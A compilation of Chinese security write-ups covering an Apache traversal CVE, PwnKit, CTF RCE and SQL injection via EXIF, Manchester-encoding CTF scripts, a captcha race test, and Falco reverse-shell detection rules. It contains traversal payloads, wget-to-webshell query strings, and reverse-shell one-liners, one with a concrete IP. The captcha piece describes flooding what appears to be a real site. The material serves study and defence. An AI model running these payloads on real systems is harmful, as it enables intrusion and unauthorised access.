CVE-2021-42013 Apache HTTP Server 路径穿越漏洞
前言 CVE-2021-42013为目录穿越文件读取漏洞,影响 httpd 2.4.49,CVE编号为CVE-2021-41773, https 2.4.50不完全修复可绕过,如果开启 mod_cgi 则可RCE。 分析 CVE-2021-41773复现分析如下: 利用网上师傅的docker镜像 docker run -p 8080:80 -d --privileged turkeys/httpd:cve-2021-41773 环境中有安装好的 pwndbg 插件,直接按步调试即可,这里参考Betta师傅的文章 正文 CVE-2021-41773不完全的修复导致了 CVE-2021-42013 可用的 payload 有 /%2%65.//%2%65%2e//.%2%65//%2e%2%65/  /%2%65%2%65//%%32e%%32e//%25%32%65%25%32%65/ # 无法生效 ap_normalize_path 不能将 %25 进行url解码处理后为 %  我们注意到 https 2.4.50 中添加了补丁 添加的补丁是对 .%2e 和 %2e%2e 进行了校验,但是我们在 request.c 中注意到还会调用 ap_unescape_url 来对 url 进行又一次的编码,所以通过两次编码就可以绕过 request.c::ap_process_request_internal util.c:ap_normalize_path 返回结果为一次编码后的结果 util.c:ap_unescape_url util.c:ap_unescape_url 我们看到此时保存值的指针地址 0x7fa06c00a1f0 ◂— '/cgi-bin/%2e./%2e./%2e./%2e./%2e./etc/passwd' 函数执行结束后 打印出 0x7fa06c00a1f0  对应的值 发现已经对 url 进行了再一次的解码 命令执行 在 /etc/httpd/httpd.conf 配置文件中去掉 mod_cgid.so 的注释 结语 至此,CVE-2021-42013的漏洞分析到此结束,如有不当感谢师傅指出!!! 参考链接 https://mp.weixin.qq.com/s/IYbaDLrMJBT0yb4xT3UYWg
crypto之曼彻斯特编码
通过对数字信号进行编码来表示数据,不归零编码、曼切斯特编码、差分曼切斯特编码都是其编码方式。 差分曼彻斯特编码是一种使用中位转变来计时的编码方案。数据通过在数据位开始处加一转变来表示。令牌环局域网就利用差分曼彻斯特编码方案。 在 每个时钟周期的中间都有一次电平跳变,这个跳变做同步之用。 在每个时钟周期的起始处:跳变则说明该比特是0,不跳变则说明该比特是1。 差分曼彻斯特编码的优点为:收发双方可以根据编码自带的时钟信号来保持同步,无需专门传递同步信号的线路,因此成本低;缺点为:实现技术复杂。 曼彻斯特编码(Manchester Encoding),也叫做相位编码(PE),是一个同步时钟编码技术,被物理层使用来编码一个同步位流的时钟和数据。曼彻斯特编码被用在以太网媒介系统中。曼彻斯特编码提供一个简单的方式给编码简单的二进制序列而没有长的周期没有转换级别,因而防止时钟同步的丢失,或来自低频率位移在贫乏补偿的模拟链接位错误。在这个技术下,实际上的二进制数据被传输通过这个电缆,不是作为一个序列的逻辑1或0来发送的(技术上叫做反向不归零制(NRZ))。相反地,这些位被转换为一个稍微不同的格式,它通过使用直接的二进制编码有很多的优点。  差分曼彻斯特编码,每位中间的跳变仅提供时钟定时,而用每位开始时有无跳变表示"0"或"1",有跳变为"0",无跳变为"1"。 曼彻斯特编码的编码规则是:在信号位中电平从低到高跳变表示1,在信号位中电平从高到低跳变表示0。 这个图就单独的表示曼彻斯特编码的0,1原理图 从低到高就是0,从高到低就是1   看曼彻斯特就简单的分成一段一段看他上升还是下降就可以表示出来 而差分曼彻斯特要看他前一个信号的值,比如这图里第一个就是不跳就用1表示,第二个信号从底下升到高处就跳了表示0,第三个也是不跳用1表示,第4个同理也是1,第5个跳了就是0。而差分的意思应该就是要把一段内拆成两段只看前一段,而后一半是用来同步时钟用的,顺便可以传输下一个数据来表示是否有跳  再来看下三种信号的区别  在来说下802.3曼彻斯特和标准曼彻斯特的区别,就是编码后的字符的区别。 第一种G. E. Thomas, Andrew S. Tanenbaum1949年提出的,它规定0是由低-高的电平跳变表示,1是高-低的电平跳变。 按此规则有: • 编码0101(即0x5),表示原数据为00; • 编码1001(0x9)表示10; • 编码0110(0x6)表示01; • 编码1010(0xA)表示11。 第二种IEEE 802.4(令牌总线)和低速版的IEEE 802.3(以太网)中规定, 按照这样的说法, 低-高电平跳变表示1, 高-低的电平跳变表示0。 • 编码0101(0x5)表示11; • 编码1001(0x9)表示01; • 编码0110(0x6)表示10; • 编码1010(0xA)表示00;  顺便推荐一个可解,差分曼彻斯特和标准曼彻斯特和802.3曼彻斯特 http://www.pc6.com/softview/SoftView_606143.html  BUUOJ-Crypto-传感器 5555555595555A65556AA696AA6666666955 这是某压力传感器无线数据包解调后但未解码的报文(hex)    已知其ID为0xFED31F,请继续将报文完整解码,提交hex。 提示1:曼联 去网上抄了个脚本,这个脚本的转换其实就是应用了802.3曼彻斯特的规则取了1和3位,题目里给了id的话,可以看flag解出来是否含有id?吗,相当于校验是否正确的一个功能。 cipher='5555555595555A65556AA696AA6666666955' def iee(cipher):     tmp=''     for i in range(len(cipher)):         a=bin(eval('0x'+cipher[i]))[2:].zfill(4)   #补齐四位方便取1和3位         tmp=tmp+a[1]+a[3]      #加上1和3位,就是应用了802.3的規則,或者定义一个字典替换也可以         print(tmp)     plain=[hex(int(tmp[i:i+8][::-1],2))[2:] for i in range(0,len(tmp),8)]     print(''.join(plain).upper()) iee(cipher) # tmp="111111111111111101111111110010111111100000100110000010101010101010011111" # flag="" # for i in range(0,len(tmp),8): #     # plain=hex(int(tmp[i:i+8][::-1],2))[2:] #     # print(''.join(plain).upper()) #     flag+=((hex(int(tmp[i:i+8][::-1],2)))[2:]) # print(flag.upper())  或者用工具也可以直接出  CISCN(全国大学生信息安全竞赛) 2016 传感器2 现有某ID为0xFED31F的压力传感器,已知测得压力为45psi时的未解码报文为: 5555555595555A65556A5A96AA666666A955 压力为30psi时的未解码报文为: 5555555595555A65556A9AA6AA6666665665 请给出ID为0xFEB757的传感器在压力为25psi时的解码后报文,提交hex。 注:其他测量读数与上一个传感器一致。 tips:flag是flag{破译出的明文} 根据进制转换,转成十进制差5的话就是11 0xFED31F 45psi fffffed31f635055f8 30psi fffffed31f425055d7 找到两个psi差的地方,相减,括号内是十进制的数 f8(248)-d7(215)=0x21(33) 63(99)-42(66)=0x21(33) 15差33的话,5就是差11。除3即可 15   33 5    11 0xFEB757 CC=215-11 37=66-11      拿差值替换掉 25psi   fffffed31f375055CC      把检验位直接替换掉      fffffeb757375055cc      转成大写      FFFFFEB757375055CC CISCN(全国大学生信息安全竞赛) 2017 传感器1 已知ID为0x8893CA58的温度传感器的未解码报文为:3EAAAAA56A69AA55A95995A569AA95565556 此时有另一个相同型号的传感器,其未解码报文为:3EAAAAA56A69AA556A965A5999596AA95656 请解出其ID,提交flag{hex(不含0x)}。 先把给的字符串转成以一位字符串转为4位2进制的01数字。然后在以两位分割,因为差分曼彻斯特编码后面的数据是同步时钟和决定下一个传输的数据的,所以加进去之后。还要等于cc,让他继续下一步的操作,判断是否为01就是是否有跳。bintohex函数就是把01数据转为字符串。可以看下面另一个脚本的单独操作 #coding:utf-8 import re   #hex1 = 'AAAAA56A69AA55A95995A569AA95565556' # #  0x8893CA58 hex1 = 'AAAAA56A69AA556A965A5999596AA95656' def bintohex(s1):     s2 = ''     s1 = re.findall('.{4}',s1)     print ('每一个hex分隔:',s1)     for i in s1:         s2 += str(hex(int(i,2))).replace('0x','')       print ('ID:',s2)   def diffmqst(s):     s1 = ''     s = re.findall('.{2}',s)     cc = '01'     for i in s:         if i == cc:             s1 += '0'         else:             s1 += '1'         cc = i  # 差分加上cc = i       print ('差分曼切斯特解码:',s1)     bintohex(s1)   if __name__ == '__main__':     bin1 = bin(int(hex1,16))[2:]     diffmqst(bin1)   在贴一个脚本 str1 = '3EAAAAA56A69AA556A965A5999596AA95656' s = '' for i in xrange(len(str1)/2):     ch = str1[i*2 : i*2+2]     b = bin(int(ch, 16))[2:]     b = '0' * (8-len(b)) + b     s += b print 's:'+s r = '' #因为此处除了前六位都是10和01,很明显是曼彻斯特,因而把前六位去掉即可看到正确的结果 s = s[6:] print 's:'+s for i in xrange(len(s)/2-1):     c = s[i*2+1 : i*2+3]     if c == '11' or c=='00':         r += '1'     else:         r += '0' print "r:"+r ret ='' for i in xrange(len(r)/8):     c = r[i*8 : i*8+8]     print str(r[i*8 : i*8+8]) + ' ' + c     ret += hex(int(c, 2 ))[2:].upper() print ret 左边去掉5个字符,右边去掉4个字符 str="10000000001001001101100010000100010110101011111100110100000100011001" a=0 flag="" for i in range(0,len(str)/4):     # print(str[0+(i*4):4+(i*4)])     # a+=1     flag+=hex(int(str[0+(i*4):4+(i*4)],2))[2:]     # print(hex(int(str[0+(i*4):4+(i*4)],2))[2:])     # print(str[4:8]) print(flag)   或者就是直接上工具    CISCN(全国大学生信息安全竞赛) 2017 传感器2 已知ID为0x8893CA58的温度传感器未解码报文为:3EAAAAA56A69AA55A95995A569AA95565556 为伪造该类型传感器的报文ID(其他报文内容不变),请给出ID为0xDEADBEEF的传感器1的报文校验位(解码后hex),以及ID为0xBAADA555的传感器2的报文校验位(解码后hex),并组合作为flag提交。 例如,若传感器1的校验位为0x123456,传感器2的校验位为0xABCDEF,则flag为flag{123456ABCDEF}。 0024D 8893CA58 41 81 0024D 8845ABF3 41 19 把上一题的数据拿过来查看,格式应该是0024+id+41+xx(校验) 其他格式都是固定的,即可判别最后两位为校验 把题目给的数据,分开找到校验的值。如果是按一位=4位,即为8位,可以尝试crc8 >>> bin(int('A',16)) '0b1010'   可以看到就是等于校验值的  直接就拿题目要求的替换掉id即可 0xDEADBEEF 024DDEADBEEF41 0xBAADA555 024DBAADA55541 >>> hex(c8(binascii.unhexlify('024DDEADBEEF41'))) '0xb5' >>> hex(c8(binascii.unhexlify('024DBAADA55541'))) '0x15' http://www.ip33.com/crc.html  参考链接: [1] https://blog.csdn.net/qq_37790902/article/details/79616450 [2] https://blog.csdn.net/Enderman_xiaohei/article/details/104331317 [3] http://www.pc6.com/softview/SoftView_606143.html [4]https://blog.csdn.net/zz_Caleb/article/details/89331290 [5]https://zhuanlan.zhihu.com/p/27827585 [6]https://blog.csdn.net/qq_43165101/article/details/97395191
如何巧用vps解题?
前言 对于Web方向的选手来说,拥有一台vps可以快速解决一些RCE问题,本篇文章所演示的是2015年HITCON的一道web题,虽然时隔有些久,但是这题所利用的trick以及RCE的思路,仍然值得我们去学习。 初步审计 题目代码如下: <?php    highlight_file(__FILE__);    $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];    if ( !file_exists($dir) )        mkdir($dir);    chdir($dir);    $args = $_GET['args'];    for ( $i=0; $i<count($args); $i++ ){        if ( !preg_match('/^\w+$/', $args[$i]) )            exit();   }    exec("/bin/orange " . implode(" ", $args)); ?> 题目代码比较短,一共就15行代码,但实际上最关键的代码就只有两行,如下: if ( !preg_match('/^\w+$/', $args[$i]) ) exec("/bin/orange " . implode(" ", $args)); 一个是正则匹配,一个是exec的命令执行 首先先看正则部分/^\w+$/,这一部分要求传入的args参数必须以字母数字下划线开头,除此之外,在最后还有一个美元符号$,需要明确的是:$符号在PCRE中是会匹配\n以及\r前的位置的,结合后面exec命令执行的部分,也就是说,我们可以使用换行符%0a绕过执行其他命令。 但是如果本题在正则表达式后加一个D修饰符,那么就无法使用%0a绕过,具体测试样例如下,这里就不过多阐述了,因为题目中没有这个修饰符。 echo preg_match("/^\w+$/", "abc".chr(10));//1 echo preg_match("/^\w+$/D", "abc".chr(10));//0 其次再粗略看一下命令执行的部分,这里命令执行的部分使用exec,单单使用一个exec是无法将命令执行的结果回显出来,因此在后续做题就可能会产生这么几种思路:数据外带、写入shell等等 数据外带 首先分析一下数据外带,多数情况下想要尝试数据外带都需要使用一些特殊的字符,例如使用反引号外带至dnslog,不过本题正则不允许args传入,因此数据外带这个方法行不通 写入shell 想要使用写入shell方法完成本题,还是有两种方式,一种方式就是使用echo 'xxx' > xx.php,然而这题正则过滤了这些字符,因此可以使用另一种方法,就是将下载远程服务器上的文件,通过一些操作进行RCE 详解RCE 本题官方解所使用的思路就是:下载远程服务器上的文件,通过一些操作进行RCE,具体是哪些操作下面会说到。 首先我们现在本地服务器上测试,此时新建一个php文件,命名为1.php,内容如下: <?php echo 3 * 4; echo "\n"; ?> 然后将1.php放入一个文件夹a中 这个时候我们将文件夹a利用tar打包,注意是打包,不是压缩 tar cf b a 将文件夹a打包,并且生成b 打包之后结果如下: 此时我们直接使用php命令去执行这个b 看一下最后的12,就是前面1.php的执行结果3 * 4 = 12 那么为什么可以直接执行b这个文件呢? 其实我们可以直接使用cat查看b中的文件 可以看到,b文件中存在之前写入的1.php的代码 这个时候我们总结一下这个方法,全程使用的命令对于正则/^\w+$/都是合法的,并且1.php中的内容可控,因此可以通过这个方法写入shell 因此,对于解题来说,解题流程如下: 首先在vps中新建一个index.html,文件内容如下: <?php file_put_contents('shell.php', '    <?php    header("Content-Type: text/plain");    print shell_exec($_GET["cmd"]);    ?> '); ?> 然后在vps中启动http服务 python3 -m http.server 80 由于ip都是6.6.6.6的形式,带.,不符合正则,因此可以使用十进制ip绕过 <?php echo ip2long("6.6.6.6"); ?> //101058054 然后先新建一个upload目录,对应上面测试的a ?args[]=l%0a&args[]=mkdir&args[]=upload 然后进入upload目录,利用wget下载vps上的index.html ?args[]=l%0a&args[]=cd&args[]=upload%0a&args[]=wget&args[]=101058054 //注意:最后一个args为vps十进制ip值 将upload目录打包,打包后的名称为b ?args[]=l%0a&args[]=tar&args[]=cvf&args[]=b&args[]=upload //将upload目录打包为b 在执行b目录,写入shell ?args[]=l%0a&args[]=php&args[]=b //执行b,写入shell 这题本质上是利用了tar打包的特性,将下载下来的index.html打包,然后利用php执行 不过这只是官方解,除此之外,在2015年比赛的时候,还有一些队伍使用http302重定向到ftp中,将恶意文件下载到靶机中getshell。 由于Python自带的http.server默认将index.html作为首页,并且无法修改默认首页 但是,还有一种方法就是自建一个web服务器,不使用php解析,且访问80端口的默认文档为shell.php,然后再利用wget下载php文件进行getshell。 总之,方法总比困难多。 参考文章 http://drops.xmd5.com/static/drops/web-9845.html https://github.com/p4-team/ctf/tree/master/2015-10-18-hitcon/web_100_babyfirst
CVE-2021-4034 pkexec本地提权漏洞分析
前言 Qualys 研究团队在 polkit 的 pkexec 中发现了一个内存损坏漏洞,该 SUID 根程序默认安装在每个主要的 Linux 发行版上。这个易于利用的漏洞允许任何非特权用户通过在其默认配置中利用此漏洞来获得易受攻击主机上的完全 root 权限。 pkexec Polkit(以前称为 PolicyKit)是一个用于在类 Unix 操作系统中控制系统范围权限的组件。它为非特权进程与特权进程通信提供了一种有组织的方式。也可以使用 polkit 执行具有提升权限的命令,使用命令 pkexec 后跟要执行的命令(具有 root 权限)。 运行   完成认证即可使用root权限执行文件   漏洞复现   漏洞分析 变量n初始值被设置为1,循环执行的次数为参数的个数,但是若参数个数为0时,此时变量n仍然为1,并且后面执行的语句会将argv[n]的值取出则造成了数组越界。   test1.c int main(int argc,char **argv) { printf("argc:%d\n",argc); for(int i=0;i<argc;i++) printf("argv[%d]:%s\n",i,argv[i]); return 0; } 将test.c编译执行,发现argv[0]为执行文件所在路径。并且参数个数也是为1,不会出现为0的情况。因此在这种情况下pkexec不会出现数组越界的情况。   test2.c #include <unistd.h> int main() { char * const args[] = {NULL}; char * const environ[] = {NULL}; execve("./test",args,environ); return 0; } 将test2.c编译执行,使用execve函数启动test1文件,发现此时的argc为0。   那么使用execve函数调用pkexec文件就有可能会出现argc为0,造成数组越界,下图为调试pkexec时的情况,此时的argc为0,但是n为1,通过源码可以看到后续会读取argv[n]的值,因此造成了数组越界。   漏洞利用 pkexec文件会执行validate_environment_variable (key, value)用于检测key所对应的环境变量是否合法。   若key所对应的环境变量不合法则会采用g_printerr函数打印信息,log_message函数内部也是调用了g_printerr进行信息的打印。   exp利用g_printerr打印错误信息时特殊的执行流程进行getshell。 当Linux中CHARSET不是设置为UTF-8格式,则会调用iconv,用于将文本从一种编码转化为另一种编码。 在调用iconv之前需要通过使用iconv_open分配转化描述符号。 iconv_open函数受到GCONV_PATH环境变量影响 • 若GCONV_PATH未设置,那么iconv_open会加载系统默认的模块配置的缓存文件。 – 默认的配置文件位于/usr/lib/gconv/gconv-modules • 若GCONV_PATH被设置,则会优先加载设置路径下的配置文件。 查看默认的配置文件信息gconv-modules,该配置文件指定了编码转换的键值对,并且通过指定的so文件执行转换。   main_g_printerr.c文件中调用了g_printerr函数,而test3.c则是我们稍后需要编译成.so的文件,尝试利用g_printerr函数执行自行编译的so库。 //main_g_printerr.c int main() { g_printerr("Hello World!\n"); return 0; } //test3.c #include<stdlib.h> #include<stdio.h> #include<unistd.h> void gconv() { } void gconv_init(void *step) { printf("Hello test3\n"); exit(0); } //配置文件 gconv-modules //将编码为ABCD转化为UTF-8,具体转化流程根据test3.so文件 module UTF-8// ABCD// test3 1 将main_g_printerr.c编译为main_g_printerr,test3.c编译为test3.so,gconv-modules为配置文件,内容如上。   设置CHARSET为ABCD,因为配置文件写的是从ABCD转化为UTF-8,然后将环境变量GCONV_PATH设置为当前目录。执行main_g_printerr发现输出的是.so文件中的Hello test3   pkexec是具有suid特殊权限的文件,因此执行pkexec文件时是具有root权限的。   linux的动态链接器会在特权程序执行的时候清楚危险的环境变量,因此使用execve启动pkexec时,即使设置了GCONV_PATH也会被连接器清除。如下图所示test4具有suid权限,在test5中使用execve启动test4,并且设置了GCONV_PATH环境变量,但是可以看到test4的环境变量中并没有GCONV_PATH   因此需要使用pkexec中存在的数组越界漏洞,将GCONV_PATH写入 变量argv与变量envp在内存中是连续的,如下图所示,图片来自于https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034   当我们使用execve启动pkexec时,argv是NULL,因此argc的值为0,但是pkexec会默认将argc的值赋值为1,因此argv[argc] = argv[1] = envp[0],因此envp中的值会被越界读取。 利用数组越界写入GCONV_PATH=. 使用execve启动pkexec时envp[0]的值为FileName:.,并在当前目录下新建名为GCONV_PATH=.的文件夹,该文件夹下新建名为FileName:.的文件。 首先pkexec会取出argv[1](即envp[0])的值,接着通过g_find_program_in_path函数获取文件路径从而构造出GCONV_PATH=.FileName:.,接着该值会重新覆盖envp[0],至此GCONV_PATH被成功写入。   GDB调试 数组越界读   环境变量构造   成功引入环境变量   最后就是使得pkexec使用g_printerr打印错误信息即可。 参考文章 https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034https://bbs.pediy.com/thread-271423.htmhttps://github.com/berdav/CVE-2021-4034https://man7.org/linux/man-pages/man1/iconv.1.htmlhttps://xz.aliy
记一次重放验证码的条件竞争
https://www.yijinglab.com/expc.do?ec=ECID39ee-9db2-47bc-9fa1-29150748681b看着网站挺好怼的,于是就看了看它的验证码这一块 0x01:先看看它的正常的响应包   重复发送,做了防护。  使用常见的手法进行绕过 1.换行 –失败  2.加空格或者 + 号  失败 body=contact%3D%2013888888888%20&type%3Dgetverifycode&cmd%3D-1&data=&yzm=&encrypt=false  body=contact%3D+13888888888%20&type%3Dgetverifycode&cmd%3D-1&data=&yzm=&encrypt=false ….   3.加分号, 加逗号  --失败 body=contact%3D13888888888;13888888888&type%3Dgetverifycode&cmd%3D-1&data=&yzm=&encrypt=false   差不多可以确定是电话后面加的是非空格字符的是不会发送,直接显示手机号错误,  4.加+86  或者86  5.在常见思路都失败的情况下,我想到可不可以用数据库的空白字符去干扰它….. 有那么多空白字符 试试呗…    然后当我把线程放到30的时候,重新再跑的时候,进一步确认了这样一个问题     问题就出来了。。。按照刚才的思路,不可能是有两个验证码会发送成功的,如果发送成功,一定就是它的业务出现了问题… 那么到底是哪里出了问题了呢??? 1.最开始的时候,思考的方向出现了问题,我首先想到的是会不会是高并发的一个问题。。然后去百度,寻找到这样一个线索  感谢这位师傅的文章  可以看到,高并发漏洞应该是两个不同的操作,从而导致的问题  2.然后又跑去问团队的大师傅。大师傅给了一个提示   说实话,有往条件竞争这一块去想。。但是想到的是条件竞争的话,感觉是在上传这一块, 所以,但长见识了!!!验证码也可以条件竞争… 找个时间想想,其他漏洞会不会存在这有条件竞争…  3.新的问题又出来的 怎么去验证这样一个问题是条件竞争… 坑定不能重复这个%00 相当于直接重放这个请求包即可     把线程开到50   成功验证了。。。。 主要为了验证这个问题存在即可,不一定要把线程开得很大,把别人网站搞崩完犊子了……   总结: 1. 原来验证码可以进行条件竞争!!! 2. 挖掘得每一个过程,都需要明白大致得流程,这样才能进步,我们要明白为什么,怎么操作。加油加油 3. 愿师傅们技术更上一层楼  之所以认为是条件竞争,是因为一个大师傅这样认为过…  最后,谢谢兔哥,十二神等等….和我团队里的各位大师傅… 真正谢谢了….
利用Falco监控反弹Shell
前言 网络对抗愈加激烈,各种攻击手法层出不穷,在安全左移的同时,如何做到快速的应急响应,也是攻防中的一大重点。本文将以Falco为例,来达到反弹Shell的监控。 安装Falco 根据https://falco.org/docs/getting-started/installation/在centos迟迟没安装成功,提示找不到驱动,也罢,通过docker安装,并且为了快速安装,我给予了Falco容器特权,因此得注意Falco容器自身的安全性,不然就被逃逸了: docker pull falcosecurity/falco:latest 虽然宿主机Falco安装失败了,但是Falco相关的配置文件都有了,因此我把配置文件挂载到容器里,方便规则文件的更改: docker run --rm -i -t     --privileged     -v /var/run/docker.sock:/host/var/run/docker.sock     -v /dev:/host/dev     -v /proc:/host/proc:ro     -v /boot:/host/boot:ro     -v /lib/modules:/host/lib/modules:ro     -v /usr:/host/usr:ro     -v /etc:/host/etc:ro -v //etc/falco/:/etc/falco/     falcosec 可以正常运行:   反弹Shell分析 既然我们要监控反弹Shell的行为,我们就要分析对应的行为特征,我们使用我发表在TSRC的https://mp.weixin.qq.com/s/egsHOPK_S5vZujqIb3ygOQ文中的反弹Shell手段看看进程有啥特性或者共性: bash -i >& /dev/tcp/1.1.1.1/10000 0>&1    bash -c 'exec bash -i &>/dev/tcp/yourip/yourport <&1'    rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 114.67.110.37 10000 >/tmp/f    php -r '$sock=fsockopen("yourip",yourport);exec("/bin/sh -i <&3 >&3 2>&3");'    python -c 'import sys,socket,os,pty;s=socket.socket();s.connect(("yourip",yourport));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'    TF=$(mktemp -u); mkfifo $TF && telnet 127.0.0.1 1337 0<$TF | /bin/sh 1>$TF    根据上面的反弹Shell行为,发现有几个特性,或者说共性: fd有对外的socket连接,且fd.num不超过3 fd有pipe管道,且fd.num不超过4 fd.255是/dev/tty 根据综上所述,可以编写对应的规则。  编写监控规则 Falco的规则有三块内容: • Rules • Macros • Lists Rules主要是告警名称、告警介绍、告警条件、告警输出、风险等级和告警标签;Macros是自定义好的规则,可以在规则中被引用的“函数”;Lists是变量列表。 规则长下面这样:   Falco默认也自带了一些规则,比如我们docker exec进入容器的时候,会有告警提示:    根据上述反弹Shell分析,如果bash、zsh这些进程的fd出现socket连接,肯定有问题,而且常见的bash反弹都是用的重定向,那我们就可以编写对应的规则: - list: shell_binaries   items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash] - rule: Shell Binary Reverse shell   desc: Bash、Zsh etc. have network connection,May be Reverse Shell   condition: evt.type=dup and proc.name in (shell_binaries) and container and fd.num in (0, 1, 2, 3) and fd.type in ("ipv4", "ipv6")   output: >     Reverse shell connection (user=%user.name %container.info process=%proc.name proc.pid=%proc.pid parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%fd.rip)   priority: emergency   tags: [container, reverse_shell, mitre_execution]   append: false 上述规则代表如果存在重定向、进程是bash、zsh这些、在容器内、fd的num是0、1、2、3中的一个、fd类型是ipv4或者ipv6,可以看到成功的监控到反弹Shell行为:   但是这样很容易被绕过,主要执行的进程不是shell_binaries里的就行,就比如上面的telnet、python反弹Shell的方式。因此我们可以删掉上面提到的shell_binaries,不管是不是bash这些,只要fd 0 1 2 3有socket连接就行: - rule: Any Binary fd 0-3 Have Network Connection   desc: Any Binary fd 0-3 have network connection   condition: evt.type=connect and container and fd.num in (0, 1, 2, 3) and fd.type in ("ipv4", "ipv6")   output: >     Any Binary fd 0-3 Have Network Connection (user=%user.name %container.info process=%proc.name proc.pid=%proc.pid parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.si   priority: warning   tags: [container, fd03_network]   append: false   继续根据上面的反弹Shell分析,发现telnet这样的反弹Shell,会有管道pipe的产生,因此我们继续完善我们的告警,添加Pipe: - rule: Shell Binary Pipe   desc: Bash、Zsh etc. have Pipe,May be Reverse Shell   condition: evt.type=dup and proc.name in (shell_binaries) and container and fd.num in (0, 1, 2, 3) and fd.type="pipe"   output: >     Reverse shell connection(PIPE) (user=%user.name %container.info process=%proc.name parent=%proc.pname proc.pid=%proc.pid cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%f   priority: emergency   tags: [container, reverse_shell, pipe, mitre_execution]   append: false   fd.255是/dev/tty也可以加个: - rule: fd.255 = tty   desc: fd.255 = tty   condition: evt.type=connect and container and fd.num=255 and fd.name='/dev/tty'   output: >     fd.255 = tty (user=%user.name %container.info process=%proc.name parent=%proc.pname proc.pid=%proc.pid cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%fd.rip)   priority: warning   tags: [container, fd255_tty]   append: false  总结 本文利用Falco进行了反弹Shell的监控,虽然大多数的反弹行为都可以被监控到,但是可能存在各种各样的误报、漏报,安全任重道远。 实验推荐 实验:反弹shell的N种姿势(蚁景网安实验室) https://www.yijinglab.com/expc.do?ec=ECID5176-f1a3-433a-b3a2-a7ff4eab2d1d
一张图片也能SQL注入
前言 最近在复盘SQL注入,看到有一个trick挺有意思的,这个trick主要利用后端程序会将文件exif信息插入数据库进行SQL注入 因此本篇文章会从题目解题,源码分析,底层调试这几个方面入手,如有纰漏,请多包涵。 什么是exif? 为了方便后面文章介绍这个trick,首先我们需要了解什么是exif? 其实exif是可交换图像文件的缩写,是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。 例如生活中利用手机相机或者数码相机拍照的时候,exif会记录拍照时的一些属性,例如:光圈,焦距,拍照时间,拍照设备等等属性  题目解题 题目地址:https://ctf.show/challenges#你没见过的注入-321 首先打开题目,前面一些与本文无关的解题步骤就不赘述了,简要的概括一下就是:扫目录扫到robots.txt,进入修改密码页面,修改完成密码之后进入后台。 后台还是比较简单的,就是一个上传的页面   选择文件进行上传即可,并且进行测试后发现,上传的文件都没有被过滤,即使是上传同一个文件,文件名也是不一样的,因此猜测这里使用了随机数md5的方式进行文件命名   这一题文件名被随机数md5重命名,并且,所以文件名不是注入点,但是分析一下上方的列目录的文件,首先肯定是有数据库存储相关文件信息(上图中的filetype),因此查询一下PHP有哪些函数或者方法会有这样的功能,查询PHP官方手册后可以发现,其中finfo对象以及finfo_file函数是有这个功能的   因此就可以大胆猜测在filetype会存在SQL注入,并且SQL语句应该是insert开头的插入语句 那么如何控制这个filetype呢? 我们可以使用file命令查看一个文件的信息,如下图所示   这一个命令一出是不是就发现和上面那个页面的filetype十分相似了呢? 那么是否有工具可以控制这个filetype呢?有的,那就是exiftool 安装完成后,我们尝试在一个图片里加入SQL语句,这里我们假设题目的SQL语句如下(这个很需要经验,不过这里我就直接给出来了,做题的时候还是需要慢慢fuzz) insert into columns('字段1','字段2','字段3') value('值1','值2','值3') 因此注入语句 123"';select if(1,sleep(5),sleep(5));--+ 具体的exiftool的命令为 exiftool -overwrite_original -comment="123\"');select if(1,sleep(5),sleep(5));--+" avatar.jpg 利用exiftool添加comment之后,使用file命令查看文件信息   可以看到,命令已经成功注入到了comment中,上传该图片,就可以发现明显有延迟,所以命令注入成功。 之后拿flag就很简单了,利用into outfile写入一句话木马即可,这里就不赘述了。 那么,究竟是什么函数会导致这样的SQL注入呢? 抱着深究的心态把题目源代码拷贝下来进行分析(所有可以getshell的题目都可以把题目拿下来进行分析,可以学到更多的东西)  题目源代码分析 首先一些登录文件就不看了,直接看最重要的,会造成SQL注入的那几个文件(为了防止篇幅过长,我这里仅将关键代码进行展示) $filename = md5(md5(rand(1,10000))).".zip"; $filetype = (new finfo)->file($_FILES['file']['tmp_name']); $filepath = "upload/".$filename; $sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');"; • 上方代码第一行就是前面说的,将随机数md5存储文件 • 第二行这里使用到了finfo::file,这里便是我们的注入点 • 第三行是目录的拼接 • 第四行就是存在SQL注入的SQL语句 if(mysqli_num_rows($result)>0){ while($row=mysqli_fetch_assoc($result)){ echo "<li>"; echo "filename:<a href='".$row["filepath"]."'>".$row["filename"]."</a> filetype:".$row["filetype"]."<br>"; } echo "</li>"; } 这一段代码就比较简单,就是将存储的文件名列出来 那么造成注入的罪魁祸首就是这一行代码: $filetype = (new finfo)->file($_FILES['file']['tmp_name']); 这里使用finfo::file方法,这个方法在PHP手册介绍如下,但是并不是很详细,后半部分将会对这一个函数进行底层代码跟踪分析。    finfo::file底层跟进 finfo::file方法在ext/fileinfo/fileinfo.c中 其中finfo中有这么几个方法: class finfo {     /** @alias finfo_open */     public function __construct(int $flags = FILEINFO_NONE, ?string $magic_database = null) {}     /**      * @param resource|null $context      * @return string|false      * @alias finfo_file      */     public function file(string $filename, int $flags = FILEINFO_NONE, $context = null) {}     /**      * @param resource|null $context      * @return string|false      * @alias finfo_buffer      */     public function buffer(string $string, int $flags = FILEINFO_NONE, $context = null) {}     /**      * @return bool      * @alias finfo_set_flags      */     public function 